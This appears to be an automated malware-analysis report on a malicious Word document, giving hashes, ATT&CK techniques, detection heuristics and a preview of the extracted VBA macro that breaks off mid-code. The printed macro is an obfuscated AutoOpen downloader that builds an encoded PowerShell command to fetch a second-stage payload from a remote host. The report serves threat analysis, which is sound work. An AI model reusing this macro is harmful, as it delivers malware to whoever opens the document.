Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d1925588812b16c9…

MALICIOUS

Office (OLE)

77.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: c69ea8816d028e9e3cc36c15bb5e09b3 SHA-1: df178f62ec294af681e03752bb7e91db2497a9af SHA-256: d1925588812b16c9b998d193d3c3967d3858d1bf52b74ffd4e73afd0a86efe38
242 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that utilizes the Shell() function. This macro constructs and executes a PowerShell command, indicated by the obfuscated string which decodes to 'md.exe / P^O^W^r^s^H^l^L.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^...'. This PowerShell command is designed to download and execute a second-stage payload. The presence of the AutoOpen macro and the Shell() call strongly suggests a malicious intent to compromise the user's system upon opening the document.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6731839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6731839-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10905 bytes
SHA-256: e58dd343b8e3b9b38c79f34afca9d9fc7ca14a09bad87d5c918399a51e9ddcce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const KUhaXOvawyiYPiboQEiJodOvopPiTYf = 0
Sub AutoOpen()
On Error Resume Next
Dim rElAiAjIbUFAVABudEPTyJigoPAqIreLeRobo

rElAiAjIbUFAVABudEPTyJigoPAqIreLeRobo = IsNull(Choose(10, "vYfEPzOgOBOaEayZ", "rElAiAjIbUFAVABudEPTyJigoPAqIreLeRobo", "vYfEPzOgOBOaEayZrElAiAjIbUFAVABudEPTyJigoPAqIreLeRobo"))
IsError CVErr(654)
Call IsNull(654 - 10 * 11)

If Len(vYfEPzOgOBOaEayZ) > Len(CStr(Hex(654))) Then
   Call IsError(CVErr(CInt(CStr(vYfEPzOgOBOaEayZ))))
End If
WWYPIsIxokEtYVrITEzIRAfITIbwaQEv = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8"

Dim caHbOjaGyqEsQOBItOdoVrukIlI

caHbOjaGyqEsQOBItOdoVrukIlI = IsNull(Choose(3, "EkalUhaVeRUQJoT", "caHbOjaGyqEsQOBItOdoVrukIlI", "EkalUhaVeRUQJoTcaHbOjaGyqEsQOBItOdoVrukIlI"))
IsError CVErr(8815)
Call IsNull(8815 - 3 * 13)

If Len(EkalUhaVeRUQJoT) > Len(CStr(Hex(8815))) Then
   Call IsError(CVErr(CInt(CStr(EkalUhaVeRUQJoT))))
End If
rinEFiZoBAZaRUiVyKIMYbmOPYsoMEKikifemYP = "^A^L^w^B^k^A^G^U^A^Y^Q^B^s^A^G^E^A^Z^A^B^5^A^G^4^A^b^w^B^1^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^v^A^H^I^A^" + Format(ChrW(101)) + "^Q^A^3^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^D"
Dim izonaMamyvyweWAMaipOioPIViZoMaPOziJGUSUWu

izonaMamyvyweWAMaipOioPIViZoMaPOziJGUSUWu = IsNull(Choose(6, "LsemytegUXAUv", "izonaMamyvyweWAMaipOioPIViZoMaPOziJGUSUWu", "LsemytegUXAUvizonaMamyvyweWAMaipOioPIViZoMaPOziJGUSUWu"))
IsError CVErr(9363)
Call IsNull(9363 - 6 * 13)

If Len(LsemytegUXAUv) > Len(CStr(Hex(9363))) Then
   Call IsError(CVErr(CInt(CStr(LsemytegUXAUv))))
End If
Dim aUqAQopiJywruhEqAayDIlaQiiPIi

aUqAQopiJywruhEqAayDIlaQiiPIi = IsNull(Choose(9, "madIqiaYKyjooDYtOQO", "aUqAQopiJywruhEqAayDIlaQiiPIi", "madIqiaYKyjooDYtOQOaUqAQopiJywruhEqAayDIlaQiiPIi"))
IsError CVErr(3140)
Call IsNull(3140 - 9 * 11)

If Len(madIqiaYKyjooDYtOQO) > Len(CStr(Hex(3140))) Then
   Call IsError(CVErr(CInt(CStr(madIqiaYKyjooDYtOQO))))
End If

Dim UxIWyHYxIBOSEWihUwAJmOmymetirOLYWUpO

UxIWyHYxIBOSEWihUwAJmOmymetirOLYWUpO = IsNull(Choose(6, "wYpEGuQIGYGYZA", "UxIWyHYxIBOSEWihUwAJmOmymetirOLYWUpO", "wYpEGuQIGYGYZAUxIWyHYxIBOSEWihUwAJmOmymetirOLYWUpO"))
IsError CVErr(8978)
Call IsNull(8978 - 6 * 11)

If Len(wYpEGuQIGYGYZA) > Len(CStr(Hex(8978))) Then
   Call IsError(CVErr(CInt(CStr(wYpEGuQIGYGYZA))))
End If

Dim cykzoJOiyhadISihINysYlEjAQONENjANoBuBYkyVu

cykzoJOiyhadISihINysYlEjAQONENjANoBuBYkyVu = IsNull(Choose(2, "zeSOSaCiJEQexapeJACyb", "cykzoJOiyhadISihINysYlEjAQONENjANoBuBYkyVu", "zeSOSaCiJEQexapeJACybcykzoJOiyhadISihINysYlEjAQONENjANoBuBYkyVu"))
IsError CVErr(2273)
Call IsNull(2273 - 2 * 13)

If Len(zeSOSaCiJEQexapeJACyb) > Len(CStr(Hex(2273))) Then
   Call IsError(CVErr(CInt(CStr(zeSOSaCiJEQexapeJACyb))))
End If
Dim KyKecaQAJecAYrUNidafutea

KyKecaQAJecAYrUNidafutea = IsNull(Choose(5, "SUMigEsOTeLYTiDyiuqYwuPU", "KyKecaQAJecAYrUNidafutea", "SUMigEsOTeLYTiDyiuqYwuPUKyKecaQAJecAYrUNidafutea"))
IsError CVErr(4031)
Call IsNull(4031 - 5 * 10)

If Len(SUMigEsOTeLYT
... (truncated)

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